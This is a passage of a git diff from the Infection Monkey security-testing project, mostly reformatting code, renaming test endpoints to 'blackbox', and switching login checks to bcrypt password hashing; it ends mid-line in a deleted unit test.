make "parent" an embedded document, so this can be removed and the schema explained ( + # and validated) verbosely. # This is a temporary fix, since mongoengine doesn't allow for lists of strings to be null # (even with required=False of null=True). # See relevant issue: https://github.com/MongoEngine/mongoengine/issues/1904 @@ -45,9 +57,13 @@ class Monkey(Document): command_control_channel = EmbeddedDocumentField(CommandControlChannel) # Environment related fields - environment = StringField(default=environment_names.Environment.UNKNOWN.value, - choices=environment_names.ALL_ENVIRONMENTS_NAMES) - aws_instance_id = StringField(required=False) # This field only exists when the monkey is running on an AWS + environment = StringField( + default=environment_names.Environment.UNKNOWN.value, + choices=environment_names.ALL_ENVIRONMENTS_NAMES, + ) + aws_instance_id = StringField( + required=False + ) # This field only exists when the monkey is running on an AWS # instance. See https://github.com/guardicore/monkey/issues/426. @@ -61,7 +77,7 @@ class Monkey(Document): @staticmethod # See https://www.python.org/dev/peps/pep-0484/#forward-references - def get_single_monkey_by_guid(monkey_guid) -> 'Monkey': + def get_single_monkey_by_guid(monkey_guid) -> "Monkey": try: return Monkey.objects.get(guid=monkey_guid) except DoesNotExist as ex: @@ -70,7 +86,7 @@ class Monkey(Document): @staticmethod def get_latest_modifytime(): if Monkey.objects.count() > 0: - return Monkey.objects.order_by('-modifytime').first().modifytime + return Monkey.objects.order_by("-modifytime").first().modifytime return None def is_dead(self): @@ -129,10 +145,11 @@ class Monkey(Document): Formats network info from monkey's model :return: dictionary with an array of IP's and a hostname """ - return {'ips': self.ip_addresses, 'hostname': self.hostname} + return {"ips": self.ip_addresses, "hostname": self.hostname} @ring.lru( - expire=1 # data has TTL of 1 second. This is useful for rapid calls for report generation. + # data has TTL of 1 second. This is useful for rapid calls for report generation. + expire=1 ) @staticmethod def is_monkey(object_id): diff --git a/monkey/monkey_island/cc/models/monkey_ttl.py b/monkey/monkey_island/cc/models/monkey_ttl.py index 3e456f244..74d38c639 100644 --- a/monkey/monkey_island/cc/models/monkey_ttl.py +++ b/monkey/monkey_island/cc/models/monkey_ttl.py @@ -7,10 +7,12 @@ class MonkeyTtl(Document): """ This model represents the monkey's TTL, and is referenced by the main Monkey document. See https://docs.mongodb.com/manual/tutorial/expire-data/ and - https://stackoverflow.com/questions/55994379/mongodb-ttl-index-doesnt-delete-expired-documents/56021663#56021663 + https://stackoverflow.com/questions/55994379/mongodb-ttl-index-doesnt-delete-expired + -documents/56021663#56021663 for more information about how TTL indexing works and why this class is set up the way it is. - If you wish to use this class, you can create it using the create_ttl_expire_in(seconds) function. + If you wish to use this class, you can create it using the create_ttl_expire_in(seconds) + function. If you wish to create an instance of this class directly, see the inner implementation of create_ttl_expire_in(seconds) to see how to do so. """ @@ -20,22 +22,16 @@ class MonkeyTtl(Document): """ Initializes a TTL object which will expire in expire_in_seconds seconds from when created. Remember to call .save() on the object after creation. - :param expiry_in_seconds: How long should the TTL be in the DB, in seconds. Please take into consideration + :param expiry_in_seconds: How long should the TTL be in the DB, in seconds. Please take + into consideration that the cleanup thread of mongo might take extra time to delete the TTL from the DB. """ # Using UTC to make the mongodb TTL feature work. See - # https://stackoverflow.com/questions/55994379/mongodb-ttl-index-doesnt-delete-expired-documents. + # https://stackoverflow.com/questions/55994379/mongodb-ttl-index-doesnt-delete-expired + # -documents. return MonkeyTtl(expire_at=datetime.utcnow() + timedelta(seconds=expiry_in_seconds)) - meta = { - 'indexes': [ - { - 'name': 'TTL_index', - 'fields': ['expire_at'], - 'expireAfterSeconds': 0 - } - ] - } + meta = {"indexes": [{"name": "TTL_index", "fields": ["expire_at"], "expireAfterSeconds": 0}]} expire_at = DateTimeField() @@ -43,7 +39,8 @@ class MonkeyTtl(Document): def create_monkey_ttl_document(expiry_duration_in_seconds): """ Create a new Monkey TTL document and save it as a document. - :param expiry_duration_in_seconds: How long should the TTL last for. THIS IS A LOWER BOUND - depends on mongodb + :param expiry_duration_in_seconds: How long should the TTL last for. THIS IS A LOWER BOUND - + depends on mongodb performance. :return: The TTL document. To get its ID use `.id`. """ diff --git a/monkey/monkey_island/cc/models/zero_trust/event.py b/monkey/monkey_island/cc/models/zero_trust/event.py index d1a0001af..3ffdb02b9 100644 --- a/monkey/monkey_island/cc/models/zero_trust/event.py +++ b/monkey/monkey_island/cc/models/zero_trust/event.py @@ -7,14 +7,18 @@ import common.common_consts.zero_trust_consts as zero_trust_consts class Event(EmbeddedDocument): """ - This model represents a single event within a Finding (it is an EmbeddedDocument within Finding). It is meant to + This model represents a single event within a Finding (it is an EmbeddedDocument within + Finding). It is meant to hold a detail of the Finding. This class has 2 main section: - * The schema section defines the DB fields in the document. This is the data of the object. - * The logic section defines complex questions we can ask about a single document which are asked multiple + * The schema section defines the DB fields in the document. This is the data of the + object. + * The logic section defines complex questions we can ask about a single document which + are asked multiple times, or complex action we will perform - somewhat like an API. """ + # SCHEMA timestamp = DateTimeField(required=True) title = StringField(required=True) @@ -26,12 +30,7 @@ class Event(EmbeddedDocument): def create_event(title, message, event_type, timestamp=None): if not timestamp: timestamp = datetime.now() - event = Event( - timestamp=timestamp, - title=title, - message=message, - event_type=event_type - ) + event = Event(timestamp=timestamp, title=title, message=message, event_type=event_type) event.validate(clean=True) diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py index f65d39af7..b1508430f 100644 --- a/monkey/monkey_island/cc/models/zero_trust/finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/finding.py @@ -12,24 +12,29 @@ import common.common_consts.zero_trust_consts as zero_trust_consts class Finding(Document): """ - This model represents a Zero-Trust finding: A result of a test the monkey/island might perform to see if a + This model represents a Zero-Trust finding: A result of a test the monkey/island might + perform to see if a specific principle of zero trust is upheld or broken. Findings might have the following statuses: Failed ❌ Meaning that we are sure that something is wrong (example: segmentation issue). Verify ⁉ - Meaning that we need the user to check something himself (example: 2FA logs, AV missing). + Meaning that we need the user to check something himself (example: 2FA logs, + AV missing). Passed ✔ Meaning that we are sure that something is correct (example: Monkey failed exploiting). This class has 2 main section: - * The schema section defines the DB fields in the document. This is the data of the object. - * The logic section defines complex questions we can ask about a single document which are asked multiple + * The schema section defines the DB fields in the document. This is the data of the + object. + * The logic section defines complex questions we can ask about a single document which + are asked multiple times, or complex action we will perform - somewhat like an API. """ + # http://docs.mongoengine.org/guide/defining-documents.html#document-inheritance - meta = {'allow_inheritance': True} + meta = {"allow_inheritance": True} # SCHEMA test = StringField(required=True, choices=zero_trust_consts.TESTS) diff --git a/monkey/monkey_island/cc/models/zero_trust/monkey_finding.py b/monkey/monkey_island/cc/models/zero_trust/monkey_finding.py index 479b9b244..9fd1805f4 100644 --- a/monkey/monkey_island/cc/models/zero_trust/monkey_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/monkey_finding.py @@ -12,9 +12,7 @@ class MonkeyFinding(Finding): details = LazyReferenceField(MonkeyFindingDetails, required=True) @staticmethod - def save_finding(test: str, - status: str, - detail_ref: MonkeyFindingDetails) -> MonkeyFinding: + def save_finding(test: str, status: str, detail_ref: MonkeyFindingDetails) -> MonkeyFinding: finding = MonkeyFinding(test=test, status=status, details=detail_ref) finding.save() return finding diff --git a/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py b/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py index 62cfda504..3568e0ee1 100644 --- a/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py +++ b/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py @@ -8,7 +8,6 @@ from monkey_island.cc.models.zero_trust.event import Event class MonkeyFindingDetails(Document): - # SCHEMA events = EmbeddedDocumentListField(document_type=Event, required=False) diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py index 9e36e46c5..174a68db7 100644 --- a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py @@ -12,9 +12,9 @@ class ScoutSuiteFinding(Finding): details = LazyReferenceField(ScoutSuiteFindingDetails, required=True) @staticmethod - def save_finding(test: str, - status: str, - detail_ref: ScoutSuiteFindingDetails) -> ScoutSuiteFinding: + def save_finding( + test: str, status: str, detail_ref: ScoutSuiteFindingDetails + ) -> ScoutSuiteFinding: finding = ScoutSuiteFinding(test=test, status=status, details=detail_ref) finding.save() return finding diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py index cbc8c5f29..9f2b24d9d 100644 --- a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py +++ b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py @@ -4,7 +4,6 @@ from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule class ScoutSuiteFindingDetails(Document): - # SCHEMA scoutsuite_rules = EmbeddedDocumentListField(document_type=ScoutSuiteRule, required=False) diff --git a/monkey/monkey_island/cc/resources/T1216_pba_file_download.py b/monkey/monkey_island/cc/resources/T1216_pba_file_download.py index ac52b77f8..906d4c97f 100644 --- a/monkey/monkey_island/cc/resources/T1216_pba_file_download.py +++ b/monkey/monkey_island/cc/resources/T1216_pba_file_download.py @@ -8,10 +8,13 @@ from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH class T1216PBAFileDownload(flask_restful.Resource): """ - File download endpoint used by monkey to download executable file for T1216 ("Signed Script Proxy Execution" PBA) + File download endpoint used by monkey to download executable file for T1216 ("Signed Script + Proxy Execution" PBA) """ def get(self): - executable_file_name = 'T1216_random_executable.exe' - return send_from_directory(directory=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'resources', 'pba'), - filename=executable_file_name) + executable_file_name = "T1216_random_executable.exe" + return send_from_directory( + directory=os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "resources", "pba"), + path=executable_file_name, + ) diff --git a/monkey/monkey_island/cc/resources/__init__.py b/monkey/monkey_island/cc/resources/__init__.py index e593a854b..e69de29bb 100644 --- a/monkey/monkey_island/cc/resources/__init__.py +++ b/monkey/monkey_island/cc/resources/__init__.py @@ -1 +0,0 @@ -__author__ = 'Barak' diff --git a/monkey/monkey_island/cc/resources/attack/__init__.py b/monkey/monkey_island/cc/resources/attack/__init__.py index 98867ed4d..e69de29bb 100644 --- a/monkey/monkey_island/cc/resources/attack/__init__.py +++ b/monkey/monkey_island/cc/resources/attack/__init__.py @@ -1 +0,0 @@ -__author__ = 'VakarisZ' diff --git a/monkey/monkey_island/cc/resources/attack/attack_config.py b/monkey/monkey_island/cc/resources/attack/attack_config.py index 532b1fb4f..f9cd4c557 100644 --- a/monkey/monkey_island/cc/resources/attack/attack_config.py +++ b/monkey/monkey_island/cc/resources/attack/attack_config.py @@ -4,17 +4,20 @@ from flask import current_app, json, jsonify, request from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.attack.attack_config import AttackConfig -__author__ = "VakarisZ" - class AttackConfiguration(flask_restful.Resource): @jwt_required def get(self): - return current_app.response_class(json.dumps({"configuration": AttackConfig.get_config()}, - indent=None, - separators=(",", ":"), - sort_keys=False) + "\n", - mimetype=current_app.config['JSONIFY_MIMETYPE']) + return current_app.response_class( + json.dumps( + {"configuration": AttackConfig.get_config()}, + indent=None, + separators=(",", ":"), + sort_keys=False, + ) + + "\n", + mimetype=current_app.config["JSONIFY_MIMETYPE"], + ) @jwt_required def post(self): @@ -23,10 +26,10 @@ class AttackConfiguration(flask_restful.Resource): :return: Technique types dict with techniques on reset and nothing on update """ config_json = json.loads(request.data) - if 'reset_attack_matrix' in config_json: + if "reset_attack_matrix" in config_json: AttackConfig.reset_config() return jsonify(configuration=AttackConfig.get_config()) else: - AttackConfig.update_config({'properties': json.loads(request.data)}) + AttackConfig.update_config({"properties": json.loads(request.data)}) AttackConfig.apply_to_monkey_config() return {} diff --git a/monkey/monkey_island/cc/resources/attack/attack_report.py b/monkey/monkey_island/cc/resources/attack/attack_report.py index 779c436c5..502538990 100644 --- a/monkey/monkey_island/cc/resources/attack/attack_report.py +++ b/monkey/monkey_island/cc/resources/attack/attack_report.py @@ -5,16 +5,16 @@ from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.attack.attack_report import AttackReportService from monkey_island.cc.services.attack.attack_schema import SCHEMA -__author__ = "VakarisZ" - class AttackReport(flask_restful.Resource): - @jwt_required def get(self): - response_content = {'techniques': AttackReportService.get_latest_report()['techniques'], 'schema': SCHEMA} - return current_app.response_class(json.dumps(response_content, - indent=None, - separators=(",", ":"), - sort_keys=False) + "\n", - mimetype=current_app.config['JSONIFY_MIMETYPE']) + response_content = { + "techniques": AttackReportService.get_latest_report()["techniques"], + "schema": SCHEMA, + } + return current_app.response_class( + json.dumps(response_content, indent=None, separators=(",", ":"), sort_keys=False) + + "\n", + mimetype=current_app.config["JSONIFY_MIMETYPE"], + ) diff --git a/monkey/monkey_island/cc/resources/auth/auth.py b/monkey/monkey_island/cc/resources/auth/auth.py index b188955d8..064395eaf 100644 --- a/monkey/monkey_island/cc/resources/auth/auth.py +++ b/monkey/monkey_island/cc/resources/auth/auth.py @@ -7,9 +7,9 @@ import flask_restful from flask import make_response, request from flask_jwt_extended.exceptions import JWTExtendedException from jwt import PyJWTError -from werkzeug.security import safe_str_cmp import monkey_island.cc.environment.environment_singleton as env_singleton +import monkey_island.cc.resources.auth.password_utils as password_utils import monkey_island.cc.resources.auth.user_store as user_store logger = logging.getLogger(__name__) @@ -18,42 +18,62 @@ logger = logging.getLogger(__name__) def init_jwt(app): user_store.UserStore.set_users(env_singleton.env.get_auth_users()) _ = flask_jwt_extended.JWTManager(app) - logger.debug("Initialized JWT with secret key that started with " + app.config["JWT_SECRET_KEY"][:4]) + logger.debug( + "Initialized JWT with secret key that started with " + app.config["JWT_SECRET_KEY"][:4] + ) class Authenticate(flask_restful.Resource): """ - Resource for user authentication. The user provides the username and hashed password and we give them a JWT. + Resource for user authentication. The user provides the username and password and we + give them a JWT. See `AuthService.js` file for the frontend counterpart for this code. """ - @staticmethod - def _authenticate(username, secret): - user = user_store.UserStore.username_table.get(username, None) - if user and safe_str_cmp(user.secret.encode('utf-8'), secret.encode('utf-8')): - return user def post(self): """ Example request: { "username": "my_user", - "password": "343bb87e553b05430e5c44baf99569d4b66..." + "password": "my_password" } """ - credentials = json.loads(request.data) - # Unpack auth info from request - username = credentials["username"] - secret = credentials["password"] - # If the user and password have been previously registered - if self._authenticate(username, secret): - access_token = flask_jwt_extended.create_access_token( - identity=user_store.UserStore.username_table[username].id) - logger.debug(f"Created access token for user {username} that begins with {access_token[:4]}") + (username, password) = _get_credentials_from_request(request) + + if _credentials_match_registered_user(username, password): + access_token = _create_access_token(username) return make_response({"access_token": access_token, "error": ""}, 200) else: return make_response({"error": "Invalid credentials"}, 401) +def _get_credentials_from_request(request): + credentials = json.loads(request.data) + + username = credentials["username"] + password = credentials["password"] + + return (username, password) + + +def _credentials_match_registered_user(username, password): + user = user_store.UserStore.username_table.get(username, None) + + if user and password_utils.password_matches_hash(password, user.secret): + return True + + return False + + +def _create_access_token(username): + access_token = flask_jwt_extended.create_access_token( + identity=user_store.UserStore.username_table[username].id + ) + logger.debug(f"Created access token for user {username} that begins with {access_token[:4]}") + + return access_token + + # See https://flask-jwt-extended.readthedocs.io/en/stable/custom_decorators/ def jwt_required(fn): @wraps(fn) @@ -61,7 +81,8 @@ def jwt_required(fn): try: flask_jwt_extended.verify_jwt_in_request() return fn(*args, **kwargs) - # Catch authentication related errors in the verification or inside the called function. All other exceptions propagate + # Catch authentication related errors in the verification or inside the called function. + # All other exceptions propagate except (JWTExtendedException, PyJWTError) as e: return make_response({"error": f"Authentication error: {str(e)}"}, 401) diff --git a/monkey/monkey_island/cc/resources/auth/auth_user.py b/monkey/monkey_island/cc/resources/auth/auth_user.py index d75c751ea..547b6e5bc 100644 --- a/monkey/monkey_island/cc/resources/auth/auth_user.py +++ b/monkey/monkey_island/cc/resources/auth/auth_user.py @@ -1,6 +1,3 @@ -__author__ = 'itay.mizeretz' - - class User(object): def __init__(self, user_id, username, secret): self.id = user_id diff --git a/monkey/monkey_island/cc/resources/auth/password_utils.py b/monkey/monkey_island/cc/resources/auth/password_utils.py new file mode 100644 index 000000000..f470fd882 --- /dev/null +++ b/monkey/monkey_island/cc/resources/auth/password_utils.py @@ -0,0 +1,12 @@ +import bcrypt + + +def hash_password(plaintext_password): + salt = bcrypt.gensalt() + password_hash = bcrypt.hashpw(plaintext_password.encode("utf-8"), salt) + + return password_hash.decode() + + +def password_matches_hash(plaintext_password, password_hash): + return bcrypt.checkpw(plaintext_password.encode("utf-8"), password_hash.encode("utf-8")) diff --git a/monkey/monkey_island/cc/resources/auth/registration.py b/monkey/monkey_island/cc/resources/auth/registration.py index b27116aa9..121b03d71 100644 --- a/monkey/monkey_island/cc/resources/auth/registration.py +++ b/monkey/monkey_island/cc/resources/auth/registration.py @@ -1,19 +1,33 @@ +import json + import flask_restful from flask import make_response, request import monkey_island.cc.environment.environment_singleton as env_singleton +import monkey_island.cc.resources.auth.password_utils as password_utils from common.utils.exceptions import InvalidRegistrationCredentialsError, RegistrationNotNeededError from monkey_island.cc.environment.user_creds import UserCreds class Registration(flask_restful.Resource): def get(self): - return {'needs_registration': env_singleton.env.needs_registration()} + return {"needs_registration": env_singleton.env.needs_registration()} def post(self): - credentials = UserCreds.get_from_json(request.data) + credentials = _get_user_credentials_from_request(request) + try: env_singleton.env.try_add_user(credentials) return make_response({"error": ""}, 200) except (InvalidRegistrationCredentialsError, RegistrationNotNeededError) as e: return make_response({"error": str(e)}, 400) + + +def _get_user_credentials_from_request(request): + cred_dict = json.loads(request.data) + + username = cred_dict.get("user", "") + password = cred_dict.get("password", "") + password_hash = password_utils.hash_password(password) + + return UserCreds(username, password_hash) diff --git a/monkey/monkey_island/cc/resources/auth/user_store.py b/monkey/monkey_island/cc/resources/auth/user_store.py index a35f4b3d6..3c5217f57 100644 --- a/monkey/monkey_island/cc/resources/auth/user_store.py +++ b/monkey/monkey_island/cc/resources/auth/user_store.py @@ -6,10 +6,8 @@ from monkey_island.cc.resources.auth.auth_user import User class UserStore: users = [] username_table = {} - user_id_table = {} @staticmethod def set_users(users: List[User]): UserStore.users = users UserStore.username_table = {u.username: u for u in UserStore.users} - UserStore.user_id_table = {u.id: u for u in UserStore.users} diff --git a/monkey/monkey_island/cc/resources/test/__init__.py b/monkey/monkey_island/cc/resources/blackbox/__init__.py similarity index 100% rename from monkey/monkey_island/cc/resources/test/__init__.py rename to monkey/monkey_island/cc/resources/blackbox/__init__.py diff --git a/monkey/monkey_island/cc/resources/test/clear_caches.py b/monkey/monkey_island/cc/resources/blackbox/clear_caches.py similarity index 96% rename from monkey/monkey_island/cc/resources/test/clear_caches.py rename to monkey/monkey_island/cc/resources/blackbox/clear_caches.py index 34401b318..b8ebeb056 100644 --- a/monkey/monkey_island/cc/resources/test/clear_caches.py +++ b/monkey/monkey_island/cc/resources/blackbox/clear_caches.py @@ -13,10 +13,12 @@ logger = logging.getLogger(__name__) class ClearCaches(flask_restful.Resource): """ - Used for timing tests - we want to get actual execution time of functions in BlackBox without caching - + Used for timing tests - we want to get actual execution time of functions in BlackBox without + caching - so we use this to clear the caches. :note: DO NOT CALL THIS IN PRODUCTION CODE as this will slow down the user experience. """ + @jwt_required def get(self, **kw): try: diff --git a/monkey/monkey_island/cc/resources/test/log_test.py b/monkey/monkey_island/cc/resources/blackbox/log_blackbox_endpoint.py similarity index 52% rename from monkey/monkey_island/cc/resources/test/log_test.py rename to monkey/monkey_island/cc/resources/blackbox/log_blackbox_endpoint.py index a9c4f8b62..c101b567a 100644 --- a/monkey/monkey_island/cc/resources/test/log_test.py +++ b/monkey/monkey_island/cc/resources/blackbox/log_blackbox_endpoint.py @@ -6,12 +6,12 @@ from monkey_island.cc.database import database, mongo from monkey_island.cc.resources.auth.auth import jwt_required -class LogTest(flask_restful.Resource): +class LogBlackboxEndpoint(flask_restful.Resource): @jwt_required def get(self): - find_query = json_util.loads(request.args.get('find_query')) + find_query = json_util.loads(request.args.get("find_query")) log = mongo.db.log.find_one(find_query) if not log: - return {'results': None} - log_file = database.gridfs.get(log['file_id']) - return {'results': log_file.read().decode()} + return {"results": None} + log_file = database.gridfs.get(log["file_id"]) + return {"results": log_file.read().decode()} diff --git a/monkey/monkey_island/cc/resources/test/monkey_test.py b/monkey/monkey_island/cc/resources/blackbox/monkey_blackbox_endpoint.py similarity index 55% rename from monkey/monkey_island/cc/resources/test/monkey_test.py rename to monkey/monkey_island/cc/resources/blackbox/monkey_blackbox_endpoint.py index da8333479..2957fd4b9 100644 --- a/monkey/monkey_island/cc/resources/test/monkey_test.py +++ b/monkey/monkey_island/cc/resources/blackbox/monkey_blackbox_endpoint.py @@ -6,8 +6,8 @@ from monkey_island.cc.database import mongo from monkey_island.cc.resources.auth.auth import jwt_required -class MonkeyTest(flask_restful.Resource): +class MonkeyBlackboxEndpoint(flask_restful.Resource): @jwt_required def get(self, **kw): - find_query = json_util.loads(request.args.get('find_query')) - return {'results': list(mongo.db.monkey.find(find_query))} + find_query = json_util.loads(request.args.get("find_query")) + return {"results": list(mongo.db.monkey.find(find_query))} diff --git a/monkey/monkey_island/cc/resources/test/telemetry_test.py b/monkey/monkey_island/cc/resources/blackbox/telemetry_blackbox_endpoint.py similarity index 54% rename from monkey/monkey_island/cc/resources/test/telemetry_test.py rename to monkey/monkey_island/cc/resources/blackbox/telemetry_blackbox_endpoint.py index 29108070e..5573e5152 100644 --- a/monkey/monkey_island/cc/resources/test/telemetry_test.py +++ b/monkey/monkey_island/cc/resources/blackbox/telemetry_blackbox_endpoint.py @@ -6,8 +6,8 @@ from monkey_island.cc.database import mongo from monkey_island.cc.resources.auth.auth import jwt_required -class TelemetryTest(flask_restful.Resource): +class TelemetryBlackboxEndpoint(flask_restful.Resource): @jwt_required def get(self, **kw): - find_query = json_util.loads(request.args.get('find_query')) - return {'results': list(mongo.db.telemetry.find(find_query))} + find_query = json_util.loads(request.args.get("find_query")) + return {"results": list(mongo.db.telemetry.find(find_query))} diff --git a/monkey/monkey_island/cc/resources/test/utils/telem_store.py b/monkey/monkey_island/cc/resources/blackbox/utils/telem_store.py similarity index 56% rename from monkey/monkey_island/cc/resources/test/utils/telem_store.py rename to monkey/monkey_island/cc/resources/blackbox/utils/telem_store.py index 707140c9e..2130cef5a 100644 --- a/monkey/monkey_island/cc/resources/test/utils/telem_store.py +++ b/monkey/monkey_island/cc/resources/blackbox/utils/telem_store.py @@ -6,23 +6,21 @@ from os import mkdir, path from flask import request -from monkey_island.cc.models.test_telem import TestTelem +from monkey_island.cc.models.exported_telem import ExportedTelem from monkey_island.cc.services.config import ConfigService TELEM_SAMPLE_DIR = "./telem_sample" MAX_SAME_CATEGORY_TELEMS = 10000 - logging.basicConfig(level=logging.INFO) logger = logging.getLogger(__name__) class TestTelemStore: - TELEMS_EXPORTED = False @staticmethod - def store_test_telem(f): + def store_exported_telem(f): @wraps(f) def decorated_function(*args, **kwargs): if ConfigService.is_test_telem_export_enabled(): @@ -30,14 +28,22 @@ class TestTelemStore: method = request.method content = request.data.decode() endpoint = request.path - name = str(request.url_rule).replace('/', '_').replace('<', '_').replace('>', '_').replace(':', '_') - TestTelem(name=name, method=method, endpoint=endpoint, content=content, time=time).save() + name = ( + str(request.url_rule) + .replace("/", "_") + .replace("<", "_") + .replace(">", "_") + .replace(":", "_") + ) + ExportedTelem( + name=name, method=method, endpoint=endpoint, content=content, time=time + ).save() return f(*args, **kwargs) return decorated_function @staticmethod - def export_test_telems(): + def export_telems(): logger.info(f"Exporting all telemetries to {TELEM_SAMPLE_DIR}") try: mkdir(TELEM_SAMPLE_DIR) @@ -45,27 +51,32 @@ class TestTelemStore: logger.info("Deleting all previous telemetries.") shutil.rmtree(TELEM_SAMPLE_DIR) mkdir(TELEM_SAMPLE_DIR) - for test_telem in TestTelem.objects(): - with open(TestTelemStore.get_unique_file_path_for_test_telem(TELEM_SAMPLE_DIR, test_telem), 'w') as file: + for test_telem in ExportedTelem.objects(): + with open( + TestTelemStore.get_unique_file_path_for_export_telem(TELEM_SAMPLE_DIR, test_telem), + "w", + ) as file: file.write(test_telem.to_json(indent=2)) TestTelemStore.TELEMS_EXPORTED = True logger.info("Telemetries exported!") @staticmethod - def get_unique_file_path_for_test_telem(target_dir: str, test_telem: TestTelem): - telem_filename = TestTelemStore._get_filename_by_test_telem(test_telem) + def get_unique_file_path_for_export_telem(target_dir: str, test_telem: ExportedTelem): + telem_filename = TestTelemStore._get_filename_by_export_telem(test_telem) for i in range(MAX_SAME_CATEGORY_TELEMS): potential_filepath = path.join(target_dir, (telem_filename + str(i))) if path.exists(potential_filepath): continue return potential_filepath - raise Exception(f"Too many telemetries of the same category. Max amount {MAX_SAME_CATEGORY_TELEMS}") + raise Exception( + f"Too many telemetries of the same category. Max amount {MAX_SAME_CATEGORY_TELEMS}" + ) @staticmethod - def _get_filename_by_test_telem(test_telem: TestTelem): + def _get_filename_by_export_telem(test_telem: ExportedTelem): endpoint_part = test_telem.name - return endpoint_part + '_' + test_telem.method + return endpoint_part + "_" + test_telem.method -if __name__ == '__main__': - TestTelemStore.export_test_telems() +if __name__ == "__main__": + TestTelemStore.export_telems() diff --git a/monkey/monkey_island/cc/resources/bootloader.py b/monkey/monkey_island/cc/resources/bootloader.py index e722035ae..b228b9eea 100644 --- a/monkey/monkey_island/cc/resources/bootloader.py +++ b/monkey/monkey_island/cc/resources/bootloader.py @@ -11,9 +11,9 @@ class Bootloader(flask_restful.Resource): # Used by monkey. can't secure. def post(self, os): - if os == 'linux': + if os == "linux": data = Bootloader._get_request_contents_linux(request.data) - elif os == 'windows': + elif os == "windows": data = Bootloader._get_request_contents_windows(request.data) else: return make_response({"status": "OS_NOT_FOUND"}, 404) @@ -27,10 +27,13 @@ class Bootloader(flask_restful.Resource): @staticmethod def _get_request_contents_linux(request_data: bytes) -> Dict[str, str]: - parsed_data = json.loads(request_data.decode().replace("\"\n", "") - .replace("\n", "") - .replace("NAME=\"", "") - .replace("\":\",", "\":\"\",")) + parsed_data = json.loads( + request_data.decode() + .replace('"\n', "") + .replace("\n", "") + .replace('NAME="', "") + .replace('":",', '":"",') + ) return parsed_data @staticmethod diff --git a/monkey/monkey_island/cc/resources/bootloader_test.py b/monkey/monkey_island/cc/resources/bootloader_test.py deleted file mode 100644 index 5db86627c..000000000 --- a/monkey/monkey_island/cc/resources/bootloader_test.py +++ /dev/null @@ -1,55 +0,0 @@ -from unittest import TestCase - -from monkey_island.cc.resources.bootloader import Bootloader - - -class TestBootloader(TestCase): - - def test_get_request_contents_linux(self): - data_without_tunnel = b'{"system":"linux", ' \ - b'"os_version":"NAME="Ubuntu"\n", ' \ - b'"glibc_version":"ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23\n", ' \ - b'"hostname":"test-TEST", ' \ - b'"tunnel":false, ' \ - b'"ips": ["127.0.0.1", "10.0.2.15", "192.168.56.5"]}' - data_with_tunnel = b'{"system":"linux", ' \ - b'"os_version":"NAME="Ubuntu"\n", ' \ - b'"glibc_version":"ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23\n", ' \ - b'"hostname":"test-TEST", ' \ - b'"tunnel":"192.168.56.1:5002", ' \ - b'"ips": ["127.0.0.1", "10.0.2.15", "192.168.56.5"]}' - - result1 = Bootloader._get_request_contents_linux(data_without_tunnel) - self.assertTrue(result1['system'] == "linux") - self.assertTrue(result1['os_version'] == "Ubuntu") - self.assertTrue(result1['glibc_version'] == "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23") - self.assertTrue(result1['hostname'] == "test-TEST") - self.assertFalse(result1['tunnel']) - self.assertTrue(result1['ips'] == ["127.0.0.1", "10.0.2.15", "192.168.56.5"]) - - result2 = Bootloader._get_request_contents_linux(data_with_tunnel) - self.assertTrue(result2['system'] == "linux") - self.assertTrue(result2['os_version'] == "Ubuntu") - self.assertTrue(result2['glibc_version'] == "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23") - self.assertTrue(result2['hostname'] == "test-TEST") - self.assertTrue(result2['tunnel'] == "192.168.56.1:5002") - self.assertTrue(result2['ips'] == ["127.0.0.1", "10.0.2.15", "192.168.56.5"]) - - def test_get_request_contents_windows(self): - windows_data = b'{\x00"\x00s\x00y\x00s\x00t\x00e\x00m\x00"\x00:\x00"\x00w\x00i\x00n\x00d\x00o' \ - b'\x00w\x00s\x00"\x00,\x00 \x00"\x00o\x00s\x00_\x00v\x00e\x00r\x00s\x00i\x00o\x00n' \ - b'\x00"\x00:\x00"\x00w\x00i\x00n\x00d\x00o\x00w\x00s\x008\x00_\x00o\x00r\x00_\x00g\x00r' \ - b'\x00e\x00a\x00t\x00e\x00r\x00"\x00,\x00 \x00"\x00h\x00o\x00s\x00t\x00n\x00a\x00m\x00e\x00"' \ - b'\x00:\x00"\x00D\x00E\x00S\x00K\x00T\x00O\x00P\x00-\x00P\x00J\x00H\x00U\x003\x006\x00B\x00"' \ - b'\x00,\x00 \x00"\x00t\x00u\x00n\x00n\x00e\x00l\x00"\x00:\x00f\x00a\x00l\x00s\x00e\x00,\x00 ' \ - b'\x00"\x00i\x00p\x00s\x00"\x00:\x00 \x00[\x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x005' \ - b'\x006\x00.\x001\x00"\x00,\x00 \x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x002\x004\x009' \ - b'\x00.\x001\x00"\x00,\x00 \x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x002\x001\x007\x00.' \ - b'\x001\x00"\x00]\x00}\x00' - - result = 